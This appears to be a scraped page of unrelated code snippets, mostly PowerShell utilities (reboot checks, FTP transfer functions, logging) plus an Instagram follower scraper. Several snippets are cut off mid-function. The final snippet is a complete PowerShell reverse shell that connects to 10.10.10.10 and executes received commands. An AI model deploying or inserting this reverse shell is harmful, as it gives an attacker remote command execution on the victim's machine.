https://blog.paradoxis.nl/defeating-flasks-session-management-65706ba9d3ce
Create virtualenv
python3 -m venv venv/
source venv/bin/activate
Create theses files
# http://ilovepowershell.com/2015/09/10/how-to-check-if-a-server-needs-a-reboot/ | |
function Test-PendingReboot | |
{ | |
if (Get-ChildItem "HKLM:\Software\Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending" -EA Ignore) { return $true } | |
if (Get-Item "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired" -EA Ignore) { return $true } | |
if (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" -Name PendingFileRenameOperations -EA Ignore) { return $true } | |
try { | |
$util = [wmiclass]"\\.\root\ccm\clientsdk:CCM_ClientUtilities" | |
$status = $util.DetermineIfRebootPending() | |
if(($status -ne $null) -and $status.RebootPending){ |
#Requires -Version 3.0 | |
# Configure a Windows host for remote management with Ansible | |
# ----------------------------------------------------------- | |
# | |
# This script checks the current WinRM (PS Remoting) configuration and makes | |
# the necessary changes to allow Ansible to connect, authenticate and | |
# execute PowerShell commands. | |
# | |
# All events are logged to the Windows EventLog, useful for unattended runs. |
$message = '(001945) 12/18/2018 10:50:47 AM - (not logged in) (127.0.0.1)> 530 Login or password incorrect!' | |
$message -match '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)(.*)(incorrect!)' | |
$Matches[0] | |
$Matches[1] | |
$Matches[2] | |
$Matches[3] |
function SendByFTP { | |
param ( | |
$userFTP = "anonymous", | |
$passFTP = "anonymous", | |
[Parameter(Mandatory=$True)]$serverFTP, | |
[Parameter(Mandatory=$True)]$localFile, | |
[Parameter(Mandatory=$True)]$remotePath | |
) | |
if(Test-Path $localFile){ | |
$remoteFile = $localFile.Split("\")[-1] |
import requests | |
import re | |
username = "UserProfile" | |
try: | |
r = requests.get('https://www.instagram.com/'+username) | |
followers = re.findall( r'userInteractionCount":"(\d*)"', r.text) | |
user = re.findall( r'alternateName":"@(\w+)', r.text) | |
print("@"+ user[0], ":", followers[0], "followers") |
function GetByFTP() | |
{ | |
param ( | |
$userFTP = "anonymous", | |
$passFTP = "anonymous", | |
[Parameter(Mandatory=$True)]$serverFTP, | |
[Parameter(Mandatory=$True)]$localPath, | |
[Parameter(Mandatory=$True)]$remoteFile | |
) | |
$localFile = Join-Path -Path $localPath -ChildPath $remoteFile.split('/')[-1] |
#region Journalisation | |
function initLog { | |
param( | |
[string]$loggerPath = "$PSScriptRoot\file.log" | |
) | |
if (!(Test-Path $loggerPath)){New-Item -Path $loggerPath -ItemType File} | |
loggerInfo "-----------------------------------------------" $loggerPath | |
loggerInfo "+ Programme : BackupAndSend" $loggerPath | |
loggerInfo "+ Version : 18/12/2019" $loggerPath | |
loggerInfo "-----------------------------------------------" $loggerPath |
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html | |
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |